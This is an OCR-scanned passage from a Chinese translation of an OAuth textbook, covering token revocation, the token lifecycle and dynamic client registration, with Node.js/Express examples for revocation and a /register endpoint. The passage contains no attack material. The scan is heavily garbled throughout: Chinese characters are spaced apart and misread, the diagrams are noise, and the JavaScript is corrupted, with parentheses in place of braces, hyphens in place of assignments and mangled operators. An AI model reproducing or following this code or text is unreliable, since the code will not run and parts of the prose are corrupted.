return; 


)); 
撤回 端点 要 求 在 HTTP POST 请 求实 体 中 包含 表单 参数 foken ， 与 内 省 端点 一 样 。 将 令 牌 解 


析出 来 ， 并 在 数据 库 中 查找 。 如 果 找 到 令 牌 ， 并且 该 令 牌 确实 是 颁发 给 发 送 请 求 的 客户 端的 ， 则 
将 其 从 数据 库 中 移 除 。 














(D 这 是 一 种 特殊 的 情况 ， 情 况 将 变 得 更 复杂 ， 细 节 更 微妙 ， 因 为 我 们 现在 已 经 可 以 确认 有 客户 端 已 被 攻破 而 且 其 令 
已 被 盗 ， 我 们 要 采取 一 点 应 对 措施 。 














x 
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Var inToken = req.body.token; 
nosql.remove(function(token) ( 
if (token.access token == inToken && token.client id == clientId) ( 
return true; 
j 
}, function(err, count) ( 
res.status(204).end(); 
return; 


)); 


无 论 是 否 真 的 移 除 了 令 牌 ， 都 会 向 客户 端 返 回 操作 成 功 的 响应 。 最 终 的 函数 代码 如 附录 B 
中 的 代码 清单 12 所 示 。 

和 令 牌 内 省 一 样 , 授权 服务 器 同样 需要 能 够 处 理 撤回 刷新 令 牌 的 请 求 , 所 以 完整 的 实现 包括 
查询 访问 令 牌 存储 , 以 及 查询 刷新 令 牌 。 客户 端 甚至 可 以 增加 token_type_hint 参数 来 提示 授 
权 服 务 器 先 查 询 哪 种 令 牌 , 但 授权 服务 器 可 以 选择 忽略 该 参数 ， 两 种 令 牌 都 检查 。 男 外 ， 如 果 刷 
新 令 牌 被 撤回 , 那么 与 该 刷新 令 牌 关联 的 访问 令 牌 也 应 该 同时 被 撤回 。 这 一 功能 将 作为 附加 练习 
留 给 读者 去 实现 。 


11.5.3 ”发 起 令 牌 撤回 请 求 


现在 ,要 让 客户 端 能 够 撤回 令 牌 .通过 向 客户 端的 一 个 URL 发 送 HTTP POST 请 求 来 撤回 令 牌 。 
我 们 已 经 在 客户 端 主 页 面 上 添加 了 一 个 按钮 ， 让 你 能 通过 UI 执行 该 操作 。 在 产品 系统 中 ， 一 般 不 
轻易 暴露 该 功能 ， 避 人 免 让 外 部 应 用 和 站 点 在 不 知情 的 情况 下 撤回 应 用 的 令 牌 ( 如 图 11-3 所 示 )。 
首先 ， 要 设置 /revoke URL 的 处 理 函 数 ， 监 听 HTTP POST 请 求 。 




















app.post('/revoke', function(req, res) ( 

)); 

在 该 函数 内 部 ， 向 令 牌 撤回 端点 发 送 请 求 。 客 户 端 会 通过 HTTP Basic 认证 头 部 发 送 其 有 效 
凭据 进行 身份 认证 ， 并 在 请 求 主 体 中 以 表单 参数 发 送 访问 令 牌 。 


var form data = qs.stringify(( 
token: access token 


)); 


var headers - ( 
'Content-Type': 'application/x-www-form-urlencoded', 
'Authorization': 'Basic ' « encodeClientCredentials(client.client id, 


client.client secret) 


d 


var tokRes - request('POST', authServer.revocationEndpoint, ( 
body: form data, 
headers: headers 


jos 
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Access token value: jE ra os P) rA TET ELLEN 
Scope value: 
Refresh token value: ZI: XvITES EUEMETe ELLE CE NETS zT] 


Get OAuth Token Get Protected Resource 


当前 的 访问 令 牌 











图 11-3 添加 了 令 牌 撤回 按钮 的 客户 端 主页 国 


如 果 响 应 返回 的 是 成 功 类 型 的 状态 码 , 会 重新 演 染 应 用 主页 面 。 如 果 返 回 的 是 错误 代码 , 会 
将 错误 显示 给 用 户 。 无 论 哪 种 情况 ， 都 会 将 令 牌 丢弃 ， 保 证 我 们 这 一 端 是 安全 的 。 















































access_token = null; 
refresh token = null; 
scope = null; 


if (tokRes.statusCode »- 200 && tokRes.statusCode « 300) ( 

res.render('index', (access token: access token, refresh token: refresh. 
token, scope: scope); 

return; 

else ( 

res.render('error', (error: tokRes.statusCode)]); 

return; 


} 


客户 端 可 以 以 同样 的 方式 撤回 它 的 刷新 令 牌 。 授 权 服 务 器 在 收 到 这 样 的 请 求 时 , 应 该 同时 将 
与 刷新 令 牌 相关 联 的 访问 令 牌 也 丢弃 掉 。 这 一 功能 就 作为 练习 留 给 读者 去 实现 。 


11.6 OAuth 令 牌 的 生命 周期 


OAuth 访问 令 牌 和 刷新 令 牌 都 有 明确 的 生命 周期 。 它 们 由 授权 服务 器 创建 ， 由 客户 端 使 用 ， 
并 由 受 保护 资源 验证 。 我 们 也 看 到 了 可 能 会 导致 令 牌 失效 的 多 种 原因 ， 包 括 令 牌 到 期 和 被 撤回 。 
归纳 一 下 ， 令 牌 的 生命 周期 如 图 11-4 所 示 。 


=~ 
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受 保护 资源 


客户 端 请 求 访问 令 牌 





建 访问 令 牌 


ll 
向 客户 端 返回 访问 
今 牌 和 刷新 令 牌 。 分 局 

















使 用 访问 令 牌 请 
denn 
执行 人 牌 内 省 @ 


访问 令 牌 过 期 
RUM " 


执行 令 牌 内 省 ©) 


刷新 访问 令 牌 
向 客户 端 返回 访问 
OG WRIT 


使 用 访问 令 牌 请 
求 资源 O 


执行 令 牌 内 省 ® 


创建 访问 令 牌 














撤回 刷新 令 牌 
撤回 访问 令 牌 


撤回 刷新 令 牌 








图 11-4 OAuth 令 牌 的 生命 周期 
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虽然 这 一 特定 的 模式 越 来 越 普及 ， 但 也 有 其 他 方式 可 用 于 部 署 OAuth 系统 ， 比 如 使 用 无 状态 
的 JWT， 可 以 过 期 但 无 法 撤回 。 但 总 而 言 之 ， 令 牌 的 使 用 、 重 用 和 刷新 的 常规 方法 都 是 相同 的 。 








11.7 小结 


OAuth 令 牌 是 OAuth 系统 中 重要 的 中 心 组 件 。 

O OAuth 令 牌 可 以 是 任意 格式 ， 只 要 授权 服务 器 和 受 保护 资源 都 能 理解 即 可 。 

O OAuth 客户 端 没 有 必要 ( 而 且 也 不 应 该 ) 理解 令 牌 格式 。 

口 JWT 定 义 了 一 种 在 令 牌 中 存放 结构 化 信息 的 方式 。 

O JOSE 提供 了 对 令 牌 内 容 进 行 加 密 保 护 的 方法 。 

a 令 牌 内 省 让 受 保 护 资源 可 以 在 运行 时 查询 令 牌 状态 。 

口 令 牌 撤回 让 客户 端 可 以 向 授权 服务 器 发 送信 号 ， 将 不 再 需要 的 令 牌 废弃 掉 ， 结 束 令 牌 的 
现在 ， 你 已 经 全 面 了 解 了 OAuth 令 牌 ， 接 下 来 我 们 要 讨论 如 何 通过 动态 客户 端 注 册 向 授权 

服务 器 添加 客户 端 。 












































本 章 内 容 

口 动态 注册 OAuth 客户 端的 理由 

口 动态 注册 OAuth 客户 端 

口 客户 端 注册 管理 

口 有 关 动 态 OAuth 客户 端的 安全 注意 事项 
口 使 用 软件 声明 保护 动态 注册 





在 OAuth 系统 中 ,授权 服务 右 通 过 客户 端 标 识 符 来 识别 客户 端 。 一 般 来 说 ， 客 户 端 标识 符 
起 到 唯一 标识 客户 端 软件 的 作用 。 在 OAuth 交互 流程 中 ( 如 第 3~5 章 实现 的 授权 码 许可 类 型 )， 
客户 端 ID 是 在 授权 请 求 阶段 通过 前 端 信道 传递 到 授权 端点 的 。 根 据 此 客户 端 D,， 授 权 服 务 顺 可 
以 决定 允许 使 用 哪些 重 定向 URI， 人 允许 使 用 哪些 权限 范围 ， 以 及 向 最 终 用 户 展示 什么 样 的 信息 。 
客户 端 ID 还 会 被 传递 至 令 牌 端点 ， 在 OAuth 授权 过 程 中 ， 客 户 端 ID 加 上 客户 端 密 钥 可 用 于 客 
户 端 身份 认证 。 

客户 端 标识 符 与 资源 拥有 者 所 持 有 的 标识 符 或 账户 完全 不 是 同一 回 事 。 对 此 加 以 区 分 是 很 重 
要 的 。 你 可 能 还 记得 ，OAuth 不 辟 励 扮演 资源 拥有 者 。 实际 上 ,整个 OAuth 协议 的 目标 是 让 软件 
能 代表 资源 拥有 者 去 执行 一 些 任务 。 但 是 ,客户 端 如 何 获得 这 个 标识 符 ,， 授权 服务 器 又 如 何 将 该 
标识 符 与 有 效 重 定向 URI 和 权限 范围 这 样 的 元 数据 关联 起 来 呢 ? 


12.1 服务 器 如 何 识 别 客户 端 


到 目前 为 止 的 所 有 练习 中 ， 客 户 端 ID 都 是 静态 地 在 授权 服务 器 和 客户 端 上 被 配置 好 的 ; 
也 就 是 说 ， 有 一 个 外 部 协定 一 一 本 书 中 的 人 为 指定 一 一 提前 将 客户 端 ID 及 其 关联 的 密 钥 规定 好 
了 。 服 务 絮 先决 定好 客户 端 ID ， 然 后 手动 将 它 复制 到 客户 端 。 这 种 方法 的 一 个 主要 缺点 是 ， 对 
于 给 定 的 API, 每 个 客户 端的 每 个 实例 都 需要 与 保护 该 API 的 授权 服务 器 实例 进行 绑 定 。 如 果 客 
户 端 与 授权 服务 器 的 关系 稳固 且 相 对 无 变动 〈 比 如 授权 服务 器 保护 的 是 单一 的 专 有 API )， 这 样 
的 预期 是 合理 的 。 比 如 , 在 云 打印 的 例子 中 为 用 户 提供 一 个 选项 , 证 他 们 可 以 从 某 个 知名 的 照片 
存储 服务 上 导出 自己 的 照片 ,客户 端 专门 用 于 与 该 特定 服务 交互 。 这 是 一 种 相当 常见 的 做 法 ,只 
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有 有 限 数量 的 客户 端 会 调用 该 API， 这 种 情况 下 使 用 静态 注册 就 足够 了 。 

但 是 如 果 客 户 端 要 访问 的 API 是 由 很 多 不 同 的 服务 器 提供 的 , 情况 会 如 何 呢 ? 如 果 打 印 服务 

能 够 与 所 有 提供 标准 照片 存储 API 的 服务 交互 , 又 会 如 何 呢 ? 这 些 照片 存储 服务 很 可 能 都 有 各 自 
的 授权 服务 器 ， 而 这 种 客户 端 与 每 一 个 授权 服务 器 交互 ， 都 需要 一 个 对 应 的 客户 端 标识 符 。 我 们 
可 能 会 考虑 无 论 对 应 哪个 授权 服务 器 ， 都 使 用 同一 个 客户 端 ID, 但 是 这 个 ID 由 哪个 授权 服务 咒 
来 选 定 呢 ? 毕竟 , 每 个 授权 服务 器 选取 ID 的 方式 并 不 一 定 相 同 , 并 且 要 确保 所 选 定 的 ID 与 任何 
授权 服务 器 上 的 其 他 客户 端 都 不 会 发 生 冲 突 。 如 果 需 要 向 系统 中 新 增 客 户 端 又 该 怎么 办 呢 ? 无 论 
新 分 配 的 客户 端 ID 是 什么 ， 都 需要 将 它 与 相关 的 元 数据 一 起 传送 给 所 有 的 授权 服务 器 。 
如 果 客 户 端 软件 有 很 多 个 实例 , 每 个 实例 都 需要 与 同一 个 授权 服务 器 交互 ， 又 会 是 怎样 的 情 
Bí? 第 6 章 所 谈 到 的 原生 应 用 就 属于 这 种 情况 , 每 一 个 客户 端 实例 都 需要 一 个 客户 端 标识 符 用 于 
与 授权 服务 器 交互 。 我 们 可 能 会 再 次 考虑 在 每 一 个 客户 端 实例 上 都 使 用 相同 的 标识 符 ， 当 然 这 在 
某 些 情况 下 确实 可 行 。 但 是 , 该 如 何 处 理 客户 端 密 钥 呢 ? 从 第 7 章 我 们 就 已 经 知道 不 应 该 将 同一 
个 密 钥 到 处 复制 ， 因 为 这 样 的 话 它 就 不 再 是 秘密 了 。 "要 解决 这 个 问题 ， 可 以 完全 省 略 掉 密 铀 ， 
让 客户 端 成 为 公开 客户 端 ， 这 是 符合 OAuth 标准 的 。 但 是 ， 公 开 客 户 端 无 法 避免 各 类 授权 码 和 
令 牌 盗 穷 攻击 ,以 及 恶意 软件 对 合法 客户 端的 冒充 。 有 时 候 这 样 的 取舍 是 可 接受 的 , 但 大 多 数 时 
候 不 是 ， 仍 需要 为 每 一 个 客户 端 实例 都 分 配 各 自 的 客户 端 密 钥 。 

以 上 这 两 种 情况 ,都 不 适合 采用 手动 注册 。 为 了 让 问题 更 清晰 ,请 设想 这 样 一 个 极端 但 现实 
的 例子 : 电子 邮件 。 要 求 邮件 客户 端 开发 人 员 在 分 发 客户 端 软件 之 前 ， 在 每 一 个 可 能 的 邮件 服务 
器 上 为 每 一 个 客户 端 实例 进行 注册 , 这 合理 吗 ? 毕竟 , 互联 网 上 每 一 个 域 和 主机 都 可 以 拥有 自己 
独立 的 邮件 服务 器 ， 更 不 要 说 企业 内 网 的 邮件 服务 器 了 。 很 明显 这 是 不 合理 的 ， 但 在 OAuth 系 
统 中 要 手动 注册 就 得 这 样 做 。 是 否 还 有 其 他 方案 呢 ? 是 否 可 以 在 向 授权 服务 器 添加 客户 端 时 不 进 
行 手动 干预 ? 
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OAuth 动态 客户 端 注册 协议 ?提供 了 一 种 方法 ， 让 客户 端 可 以 自行 加 入 授权 服务 器 ， 并 注册 
自己 的 各 类 相关 信息 。 然 后 授权 服务 器 可 以 为 客户 端 软件 提供 唯一 的 客户 端 站， 用 于 客户 端 进 
行 所 有 后 续 的 OAuth 事务 ， 并 且 如 果 需 要 的 话 ， 还 会 提供 一 个 与 该 客户 端 ID 相关 联 的 客户 端 密 
钥 。 该 协议 可 以 由 客户 端 本 身 使 用 , 或 者 可 以 部 署 在 某 个 系统 中 , 该 系统 会 代表 客户 端 开 发 人 员 
执行 一 些 任务 (如 图 12-1 所 示 )。 






































(D OAuth 1.0 要 求 每 一 个 客户 端 都 要 有 一 个 密 铀 ，Google 有 一 个 著名 的 方法 来 绕 过 此 要 求 ， 它 规定 所 有 使 用 Google 
OAuth 1.0 服务 器 的 原生 客户 端 都 要 以 “anonymous” 为 客户 端 ID ， 同 时 以 “anonymous” 为 客户 端 密 钥 。 这 彻底 
打破 了 安全 模型 的 假设 。 此 外 ，Google 还 增加 了 一 个 扩展 参数 ， 用 来 替代 实际 上 已 经 缺失 的 客户 端 ID， 这 进 
步 违 背 了 协议 。 

(2 RFC 7591: https://tools.ietf.org/html/rfe7591。 
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请 求 : 显示 名 称 、 重 定向 
URI 等 





资源 拥有 者 


|  ee| 
响应 ， 客 户 端 标识 符 ， 客 户 端 密 铀 等 | ee 
ad 





受 保护 资源 








图 12-1 动态 客户 端 注 册 时 传递 的 信息 


12.2.1 协议 的 工作 原理 


核心 的 动态 客户 端 注册 协议 就 是 一 对 简单 的 HT TP 请 求 和 响应 , 请 求 目 标 是 授权 服务 器 的 客 
户 端 注册 端点 。 该 端点 监听 HTTP POST 请 求 。 请 求 主体 是 JSON 类 型 ， 包 含 客 户 端 所 提交 的 元 
言 息 。 可 以 使 用 OAuth 令 牌 对 这 一 调用 加 以 保护 ， 但 示例 展示 的 是 不 需要 授权 的 开放 性 注册 。 

POST /register HTTP/1.1 

Host: localhost:9001 


Content-Type: application/json 
Accept: application/json 






























































( 


"client name": "OAuth Client", 

"redirect uris": ["http://localhost:9000/callback"], 
"client uri": "http://localhost:9000/", 

"grant types": ["authorization code"], 

"Scope": "foo bar baz" 


) 





元 信息 包括 客户 端的 显示 名 称 、 重 定向 URI、 权 限 范围 以 及 客户 端 功能 性 方面 的 信息 ( 完整 
的 官方 字段 列表 会 在 12.3.1 节 给 出 ， 你 可 以 现在 去 查看 )。 不过， 请 求 中 发 送 的 元 数据 不 包含 客 
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户 端 ID 和 密 钥 。 这 些 值 始 终 都 在 授权 服务 器 的 控制 之 下 ,这 样 做 可 以 防止 客户 端 ID 假冒 、 客 户 
端 ID 冲突 以 及 弱 客 户 端 密 钥 的 问题 。 授 权 服 务 器 可 以 对 提交 的 数据 执行 一 系列 基础 的 一 致 性 检 
查 ， 比 如 ， 要 确保 请 求 的 grant types 和 response types 可 以 一 起 使 用 ， 或 者 请 求 中 指定 
的 权限 范围 都 是 适用 于 动态 注册 客户 端的 。 与 OAuth 中 的 情况 一 样 ， 数 据 是 否 有 效 都 由 授权 服 
务 器 决定 ， 而 客户 端 作为 简单 的 软件 ， 完 全 服从 授权 服务 器 的 决定 。 

注册 请 求 成 功 之 后 ， 授 权 服 务 器 会 生成 一 个 新 的 客户 端 ID， 通 常 也 会 生成 客户 端 密 钥 。 这 
些 信息 会 连同 该 客户 端 相 关联 的 元 信息 副本 一 起 返回 给 客户 端 ,建议 将 客户 端 在 请 求 中 传 入 的 数 
据 都 写 入 授权 服务 器 , 但 是 授权 服务 器 会 最 终 决定 将 哪些 数据 关联 到 客户 端 注 册 信 息 , 也 可 以 按 
自己 的 意图 覆盖 或 拒绝 其 中 的 任何 字段 。 最 终 的 注册 结果 会 以 JSON 格式 返回 给 客户 端 。 


HTTP/1.1 201 Created 
Content-Type: application/json 





























{ 

"client id": "1234-wejeg-0392", 

"client secret": "6trfvbnklp0987trew2345tgvcxcvbjkiou87y6tb5r", 
"client id issued at": 2893256800, 

"client secret expires at": O0, 
ioi 
c 
r 





"token, endpoint auth method": "client secret basic", 
"client name": "OAuth Client", 

"redirect uris": ["http://localhost:9000/callback"], 
"client uri": "http://localhost:9000/", 

"grant types": ["authorization, code"], 

"response types": ["code"], 

"Scope": "foo bar baz" 


} 


在 此 示例 中 ， 授 权 服 务 器 为 客户 端 分 配 的 客户 端 ID 为 1234-wejeg-0392， 客 户 端 密 钥 为 
6trfvbnklp0987trew2345tgvcxcvbjkiou87y6t5r。 此 时 客户 端 可 以 将 这 些 值 存储 起 来 , 用 
于 后 续 与 授权 服务 器 交互 。 此 外 , 授权 服务 器 还 在 客户 端 注册 信息 中 添加 了 几 个 字段 。 第 一 个 是 
token endpoint auth method 值 , 它 指 明了 客户 端 在 与 令 牌 端点 进行 交互 时 应 该 使 用 HTTP 
基本 认证 。 第 二 个 是 由 授权 服务 器 补 上 的 *esponse_types， 这 是 客户 端 请 求 中 缺失 的 字段 ， 
值 与 其 中 的 grant. types 值 对 应 。 最 后 ， 授 权 服 务 器 还 在 注册 信息 中 增加 了 客户 端 ID 的 生成 
时 间 以 及 客户 端 密 钥 的 过 期 时 间 (0 表示 永 不 过 期 )。 


12.2.2 ”为 什么 要 使 用 动态 注册 


在 OAuth 系统 中 使 用 动态 注册 是 有 充分 理由 的 。 最 初 的 OAuth 使 用 场景 都 是 围绕 着 单 点 API 
的 ， 比 如 那些 提供 Web 服务 的 公司 。 这 些 API 要 求 与 其 交互 的 是 专门 的 客户 端 ， 这 些 客户 端 只 
需要 与 一 个 API 提供 者 进行 交互 。 在 这 种 情况 下 , 要 求 客 户 端 开发 人 员 向 API 注 册 投入 精力 也 并 
没有 什么 不 合理 ， 因 为 只 需要 应 对 一 个 API 提 供 者 。 

但 是 你 已 经 看 到 , 这 种 模式 有 两 个 重要 的 例外 使 以 上 的 假设 不 成 立 。 如 果 给 定 的 API 存 在 多 
个 提供 者 , 或 者 同一 个 API 可 以 随意 地 启动 新 的 实例 , 该 怎么 办 ?例如 ，OpenID Connect 提供 标 
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准 化 身份 API， 跨 域 身份 管理 系统 (system for cross-domain identity management, SCIM ) 协议 提 
供 标准 化 配置 API。 这 两 个 API 都 使 用 OAuth 进行 保护 ,而且 可 以 由 不 同 的 提供 商 运行 。 尽 管 一 
个 客户 端 软件 可 以 与 这 些 标准 的 API 进行 交互 而 不 必 关 心 它们 运行 在 什么 域 上 ,但 是 我 们 知道 在 
这 个 空间 里 管理 这 么 多 客户 端 ID 是 不 可 能 的 。 简 而 言 之 ， 要 为 这 个 协议 的 生态 系统 增添 一 个 新 
的 客户 端 或 者 部 署 一 个 新 的 服务 器 都 会 非常 困难 。 

即使 只 有 一 个 授权 服务 器 , 但 给 定 客 户 端的 多 个 实例 该 怎么 处 理 呢 ? 这 对 移动 平台 上 的 原生 
应 用 尤其 有 害 ， 因 为 这 种 客户 端 软件 的 每 一 个 副本 都 拥有 相同 的 客户 端 ID 和 客户 端 密 钥 。 如 果 
使 用 动态 注册 , 则 客户 端的 每 一 个 实例 都 可 以 自行 向 授权 服务 器 注册 。 然 后 每 个 客户 端 实例 都 能 
得 到 属于 自己 的 客户 端 ID， 重 要 的 是 还 有 属于 自己 的 客户 端 密 钥 ， 可 用 于 保护 其 用 户 。 

我 们 在 前 面 提 到 的 电子 邮件 客户 端 与 服务 器 之 间 的 交互 就 是 动态 注册 的 典型 使 用 场景 。 如 
4, OAuth 可 用 于 访问 互联 网 邮件 访问 协议 (IMAP ) 的 邮件 服务 ， 通 过 简单 认证 和 安全 层 一 一 
通用 安全 服务 应 用 程序 接口 ( simple authentication and security layer-generic security service 
application program interface, SASL-GSSAPI ) 扩展 。 如 果 不 使 用 动态 注册 , 则 每 一 个 邮件 客户 端 
都 需要 预先 向 各 个 允许 通过 OAuth 访问 的 邮件 服务 商 注 册 。 而 且 注 册 必须 由 客户 端 开 发 人 员 在 
软件 分 发 前 完成 ， 因 为 一 旦 安装 ,最 终 用 户 是 无 法 对 软件 进行 更 改 和 配置 的 。 但 是 所 有 可 能 的 邮 
件 客 户 端 与 邮件 服务 器 组 合 的 数量 是 惊人 的 。 更 好 的 做 法 是 使 用 动态 注册 , 让 每 一 个 邮件 客户 端 
实例 都 可 以 根据 需要 自行 向 授权 服务 器 注册 。 













































































































































































白 名 单 、 黑 名 单 和 灰 名 单 

在 授权 服务 器 上 允许 使 用 动态 注册 可 能 看 起 来 有 风险 。 EE, 你 真 的 愿意 让 任何 一 个 软件 
都 能 大 摇 大 摆 地 过 来 请 求 令 牌 吗 ? 但 事实 是 , 确实 经 常 需要 这 样 做 。 交互 性 在 本 质 上 其 实 就 意 
味 着 主动 请 求 。 

重要 的 是 ,一 个 客户 端 在 授权 服务 器 上 注册 并 不 意味 着 它 就 能 访问 该 授权 服务 器 所 保护 的 
资源 。 实 际 情况 是 仍然 需要 资源 拥有 者 以 某 种 形式 向 客户 端 授权 。 这 是 OAuth 与 其 他 安全 协 
议 的 关键 区 别 , 在 那些 协议 里 注册 都 隐 含 着 资源 访问 权限 , 所 以 需要 借助 严格 的 接 入 控制 加 以 
保护 。 

对 于 授权 服务 器 的 管理 员 审 核 并 通过 的 静态 注册 的 可 信和 客户 端 ， 授 权 服 务 器 倾向 于 跳 过 
提示 资源 拥有 者 确认 的 步骤 。 将 它们 放 进 一 个 白 名 单 ， 可 以 让 授权 服务 器 为 其 提供 更 流畅 的 
用 户 体 验 。OAuth 协议 的 运作 方式 与 之 前 完全 一 样 : 资源 拥有 者 被 重 定向 至 授权 端点 (在 该 
端点 上 进行 授权 )， 然 后 授权 服务 器 通过 前 端 信道 读 取 授权 请 求 。 但 是 对 于 可 信 的 客户 端 , 授 
权 服 务 器 不 会 提示 用 户 确 认 授 权 ， 而 是 会 根据 自己 的 策略 做 出 授权 决策 ， 然 后 立即 返回 授权 
请 求 结果 。 

另 一 方面 , 授权 服务 器 也 可 以 决定 不 允许 具有 菜 些 属性 的 客户 端 注册 或 者 请 求 授权 ,这些 
特征 可 以 是 重 定向 URI 中 包含 已 知 的 用 于 挂 载 恶 意 软 件 的 地 址 ， 或 者 具有 故意 迷惑 最 终 用 户 
的 显示 名 称 以 及 一 些 其 他 的 恶意 行为 。 将 这 些 属 性 值 加 入 一 个 黑 名 单 ,授权 服务 器 就 可 以 禁止 
客户 端 使 用 它们 。 
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剩 下 的 就 是 灰 名 单 了 , 资源 拥有 者 需要 为 此 名 单 中 的 客户 端 进行 最 终 授权 决策 。 动 态 注册 
的 客户 端 如 果 既 不 在 黑 名 单 之 列 ， 也 不 在 白 名 单 之 列 ， 则 应 该 自动 被 归 入 灰 名 单 。 这 些 客户 端 
会 比 静 态 注册 的 客户 端 受 到 更 多 的 限制 , 比如 不 能 使 用 菜 些 权限 范围 或 者 菜 些 许可 类 型 , 但 除 
此 之 外 ， 它 们 依然 具有 常规 OAuth 客户 端的 功能 。 这 有 助 于 提高 授权 服务 器 的 可 扩展 性 和 灵 
活性 ， 且 安全 性 不 受 影响 。 动态 注册 的 客户 端 如 果 能 够 经 受 足够 长 时 间 的 大 量 用 户 的 检验 ,最 
终 可 以 被 列 入 和 白 名 单 。 相 反 ， 如 发 现 有 恶意 行为 ， 则 可 以 撤销 其 注册 ， 并 将 其 关键 属性 列 入 黑 
名 单 。 


12.2.3 ”实现 注册 端点 


现在 , 我 们 已 经 了 解 了 协议 的 工作 原理 , 接 下 来 要 将 它 实现 。 首 先 , 要 在 服务 器 上 构建 注册 
端点 。 请 打开 为 本 练习 而 准备 的 ch-12-ex-1 目录 , 并 编辑 authorizationServer.js 文件 。 此 处 授权 服 
务 器 会 使 用 内 存 数组 来 保存 客户 端 信息 , 这 与 第 5 章 的 做 法 一 样 , 意味 着 服务 器 重启 会 导致 存储 
重 置 。 不 过 ,在 生产 环境 中 应 该 使 用 数据 库 或 者 其 他 更 加 稳定 的 存储 机 制 。 
第 一 步 ， 要 创建 注册 端点 。 在 服务 器 上 ， 这 个 端点 要 监听 /registerURL 上 的 HTTP POST 
请 求 ， 所 以 需要 为 它 设置 一 个 处 理 函 数 。 我们 打算 只 实现 公开 注册 ， 所 以 不 会 在 注册 端点 上 要 求 
提供 OAuth 访问 令 牌 。 还 要 定义 一 个 变量 ， 用 于 接收 请 求 中 传人 的 客户 端 元 数据 。 



































app.post('/register', function (req, res)( 
var reg - (); 


)); 
我 们 已 经 设置 了 应 用 的 Express.js 框架 ， 让 它 可 以 自动 将 接收 到 的 消息 解析 成 JSON 对 象 ， 
在 代码 中 可 以 通过 req. body 变量 访问 。 我们 需要 对 传人 的 数据 进行 一 些 基 本 的 一 致 性 检查 。 首 
先 ， 要 检查 客户 端 要 求 使 用 哪 种 身份 认证 方法 。 如 果 客 户 端 未 指定 ， 默 认 将 其 设置 为 使 用 客户 端 
密 钥 的 HTTP 基本 认证 。 和 否则 ， 接 受 客户 端 传人 的 值 。 然 后 需要 确保 该 字段 值 合 法 ， 如 果 不 合 法 
就 返回 invalid client metadata 错误 。 需 要 注意 该 字段 的 可 能 取 值 ， 比 如 secret_basic 
是 由 规范 定义 的 ， 也 可 以 定义 新 的 值 进行 扩展 。 




















if (!req.body.token endpoint auth method) ( 

reg.token endpoint auth method - 'secret basic'; 
} else ( 

reg.token endpoint auth method = req.body.token endpoint auth method; 
} 


if (! .contains(['secret basic', 'secret post', 'none'], 

reg.token endpoint auth method)) { 
res.status(400).json((error: 'invalid client metadata')); 
return; 


} 
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接 下 来 ， 要 读 取 grant_types 和 response_types 的 值 ， 并 确保 它们 是 相符 的 。 如 果 这 
两 个 字段 都 没有 指定 ， 会 将 它们 视 为 默认 的 授权 码 类 型 。 如 果 客 户 端 只 指定 了 grant types 而 
没有 指定 response types, 或 者 反 过 来 ,我 们 都 会 补充 对 应 的 缺失 字段 。 规 范 不 仅 定义 了 这 两 
个 字段 的 合法 值 ， 而 且 还 规定 了 两 个 值 之 间 的 关系 。 我 们 的 服务 器 比较 简单 ， 只 支持 授权 码 和 刷 
新 令 牌 许可 ， 如 果 请 求 了 其 他 方法 ， 会 返回 invalid client metadata 错误 。 











if (!req.body.grant types) ( 
if (I!req.body.response types) ( 





reg.grant types - ['authorization code']; 
reg.response types - ['code']; 
) else ( 
reg.response types - req.body.response types; 
if (  .contains(req.body.response types, 'code')) ( 
reg.grant types - ['authorization code']; 
) else ( 


reg.grant types - []; 
j 
j 
} else ( 
if (!req.body.response types) ( 
reg.grant types - req.body.grant types; 


if ( .contains(req.body.grant types, 'authorization code')) ( 
reg.response types -['code']; 
) else { 


reg.response types - []; 
j 
) else ( 
reg.grant types - req.body.grant types; 
reg.reponse types - req.body.response types; 


if ( .contains(req.body.grant types, 'authorization code') && ! . 
contains (req.body.response types, 'code')) ( 
reg.response types.push('code'); 
j 
if (! .contains(req.body.grant types, 'authorization code') && 
. .Ccontains(req.body.response types, 'code')) ( 
reg.grant types.push('authorization code'); 
j 
j 
} 
if (!  .isEmpty(  .without(reg.grant types, 'authorization code', 
'refresh token')) || 
!  .isEmpty(  .without(reg.response types, 'code'))) ( 
res.status(400).json((error: 'invalid client metadata')); 
return; 


} 


接 下 来 , 确保 客户 端 至 少 要 注册 一 个 重 定 向 URI。 之 所 以 对 所 有 客户 端 强制 要 求 这 一 点 ， 是 
因为 服务 器 只 支持 依赖 重 定向 的 授权 码 许可 类 型 。 如 果 支 持 其 他 不 使 用 重 定向 的 许可 类 型 , 则 应 
根据 许可 类 型 有 条 件 地 执行 这 一 项 检查 。 如 果 要 检查 重 定向 URI 是 否 位 列 黑 名 单 中 ， 则 最 好 在 
此 处 实现 ， 不 过 我 们 将 这 一 过 滤 功 能 的 实现 作为 练习 留 给 读者 去 完成 。 
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if (!req.body.redirect uris || !  .isArray(req.body.redirect uris) |l 
. .isEmpty(req.body.redirect uris)) ( 

res.status(400).json((error: 'invalid redirect uri')); 

return; 
} else ( 


reg.redirect uris = req.body.redirect uris; 


} 

EFE, 要 取出 我 们 所 关心 的 其 他 字段 ,并 检查 它们 的 数据 类 型 。 在 我 们 的 实现 中 , 传人 的 
其 他 无 法 被 理解 的 字段 会 被 忽略 ， 不 过 在 产品 级 别 的 实现 中 ， 应 该 将 这 些 额 外 的 字段 保留 下 来 ， 
以 防 将 来 要 为 服务 器 增添 新 功能 。 

if (typeof (req.body.client name) == 'string') { 


reg.client name - req.body.client name; 


} 








if (typeof (req.body.client uri) -- 'string') ( 
reg.client uri - req.body.client uri; 


} 


if (typeof(req.body.logo uri) == 'string') ( 
reg.logo uri - req.body.logo uri; 


) 


if (typeof(req.body.scope) == 'string') ( 
reg.scope - req.body.scope; 


j 

最 后 ， 会 生成 客户 端 ID ， 如 果 客 户 端 使 用 了 合适 的 令 牌 端 点 身份 认证 方法 ， 则 还 要 生成 客 
户 端 密 钥 。 我 们 还 要 记录 注册 时 间 惟 ,并 标明 密 钥 不 会 过 期 ， 将 这 些 信 息 直 接 附加 到 前 面 创 建 的 
注册 对 象 上 。 

reg.client id = randomstring.generate(); 

if ( .contains(['client secret basic', 'client secret post']), 


reg.token, endpoint auth method) ( 
reg.client secret - randomstring.generate(); 


} 
reg.client id created at = Math.floor(Date.now() / 1000); 


reg.client secret expires at = 0; 
现在 ， 可 以 将 这 个 客户 端 对 象 存 人 客户 端 存 储 中 了 。 再 提醒 一 下 , 我 们 在 此 使 用 的 是 一 个 内 
存 数组 ， 而 在 生产 系统 中 应 该 使 用 数据 库 。 完 成 存储 之 后 ， 将 该 SON 对 象 返回 给 客户 端 。 
































clients.push (reg); 


res.status(201) .json(reg); 
return; 


